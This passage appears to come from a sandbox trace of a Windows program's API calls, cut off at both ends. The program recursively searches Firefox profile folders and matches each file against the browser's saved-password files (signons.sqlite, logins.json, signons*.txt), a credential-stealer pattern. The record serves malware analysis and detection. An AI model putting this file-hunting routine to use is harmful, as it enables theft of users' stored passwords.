Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0048.159] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0048.159] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 0x72dcd0 [0048.159] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.159] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 1 [0048.159] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.159] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.159] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 1 [0048.159] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.sqlite") returned 0x0 [0048.159] lstrlenA (lpString="InstallTime20131025151332") returned 25 [0048.159] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="logins.json") returned 0x0 [0048.159] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.txt") returned 0x0 [0048.159] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons2.txt") returned 0x0 [0048.159] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons3.txt") returned 0x0 [0048.159] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 0 [0048.159] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.160] LocalFree (hMem=0x75c938) returned 0x0 [0048.160] LocalFree (hMem=0x745b68) returned 0x0 [0048.160] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 1 [0048.160] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0048.160] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0048.160] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.160] lstrlenA (lpString="") returned 0 [0048.160] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0048.160] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.160] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.160] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.160] lstrlenA (lpString="Profiles") returned 8 [0048.160] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0048.160] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.160] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.161] LocalFree (hMem=0x74a800) returned 0x0 [0048.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0048.161] lstrlenA (lpString="\\*.*") returned 4 [0048.161] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x74d860 [0048.161] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0048.161] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 0x72dcd0 [0048.161] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.161] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 1 [0048.161] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.161] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.161] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 1 [0048.161] lstrcmpiA (lpString1=".", lpString2="asmpdd98.default") returned -1 [0048.161] lstrcmpiA (lpString1="..", lpString2="asmpdd98.default") returned -1 [0048.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0048.161] lstrlenA (lpString="\\") returned 1 [0048.161] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x7469f0 [0048.161] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0048.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 65 [0048.161] lstrlenA (lpString="asmpdd98.default") returned 16 [0048.161] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x746ac0 [0048.161] lstrcpyA (in: lpString1=0x746ac0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0048.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.161] LocalFree (hMem=0x7469f0) returned 0x0 [0048.161] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.161] lstrlenA (lpString="\\*.*") returned 4 [0048.161] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x74f980 [0048.161] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.161] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0048.161] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 0x72dd50 [0048.161] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.161] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.162] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.162] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.162] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.162] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0048.162] lstrlenA (lpString="addons.json") returned 11 [0048.162] StrStrIA (lpFirst="addons.json", lpSrch="logins.json") returned 0x0 [0048.162] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0048.162] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0048.162] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0048.162] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.162] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0048.162] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0048.162] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.162] lstrlenA (lpString="\\") returned 1 [0048.162] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.162] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.162] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.162] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.162] lstrlenA (lpString="bookmarkbackups") returned 15 [0048.162] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0048.162] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.162] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.162] LocalFree (hMem=0x74fa60) returned 0x0 [0048.162] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0048.162] lstrlenA (lpString="\\*.*") returned 4 [0048.162] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0048.162] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.162] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0048.162] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.162] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.162] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.162] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.162] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.162] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.162] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.sqlite") returned 0x0 [0048.162] lstrlenA (lpString="bookmarks-2017-06-30_5.json") returned 27 [0048.162] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="logins.json") returned 0x0 [0048.162] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.txt") returned 0x0 [0048.162] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons2.txt") returned 0x0 [0048.162] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons3.txt") returned 0x0 [0048.162] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.162] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.162] LocalFree (hMem=0x74da88) returned 0x0 [0048.163] LocalFree (hMem=0x74d998) returned 0x0 [0048.163] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.163] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0048.163] lstrlenA (lpString="cert8.db") returned 8 [0048.163] StrStrIA (lpFirst="cert8.db", lpSrch="logins.json") returned 0x0 [0048.163] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0048.163] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.163] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0048.163] lstrlenA (lpString="compatibility.ini") returned 17 [0048.163] StrStrIA (lpFirst="compatibility.ini", lpSrch="logins.json") returned 0x0 [0048.163] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0048.163] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.163] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.163] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0048.163] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="logins.json") returned 0x0 [0048.163] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.163] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.163] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.163] lstrlenA (lpString="cookies.sqlite") returned 14 [0048.163] StrStrIA (lpFirst="cookies.sqlite", lpSrch="logins.json") returned 0x0 [0048.163] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.163] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.163] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.163] lstrlenA (lpString="downloads.sqlite") returned 16 [0048.163] StrStrIA (lpFirst="downloads.sqlite", lpSrch="logins.json") returned 0x0 [0048.163] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.163] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.163] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0048.163] lstrlenA (lpString="extensions.ini") returned 14 [0048.163] StrStrIA (lpFirst="extensions.ini", lpSrch="logins.json") returned 0x0 [0048.163] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0048.163] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.163] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.163] lstrlenA (lpString="extensions.sqlite") returned 17 [0048.163] StrStrIA (lpFirst="extensions.sqlite", lpSrch="logins.json") returned 0x0 [0048.163] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.163] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.163] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.164] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0048.164] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0048.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.164] lstrlenA (lpString="\\") returned 1 [0048.164] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.164] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.164] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.164] lstrlenA (lpString="healthreport") returned 12 [0048.164] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74fb40 [0048.164] lstrcpyA (in: lpString1=0x74fb40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.164] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.164] LocalFree (hMem=0x74fa60) returned 0x0 [0048.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0048.164] lstrlenA (lpString="\\*.*") returned 4 [0048.164] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0048.164] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.164] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0048.164] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.164] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.164] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.164] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.164] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.164] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.164] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.164] LocalFree (hMem=0x74d998) returned 0x0 [0048.164] LocalFree (hMem=0x74fb40) returned 0x0 [0048.164] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.164] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.164] lstrlenA (lpString="healthreport.sqlite") returned 19 [0048.164] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="logins.json") returned 0x0 [0048.164] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0048.164] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.164] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.164] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.164] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0048.164] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0048.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.164] lstrlenA (lpString="\\") returned 1 [0048.164] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.164] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.164] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.164] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.164] lstrlenA (lpString="indexedDB") returned 9 [0048.164] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fb40 [0048.164] lstrcpyA (in: lpString1=0x74fb40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.164] lstrcatA (in: 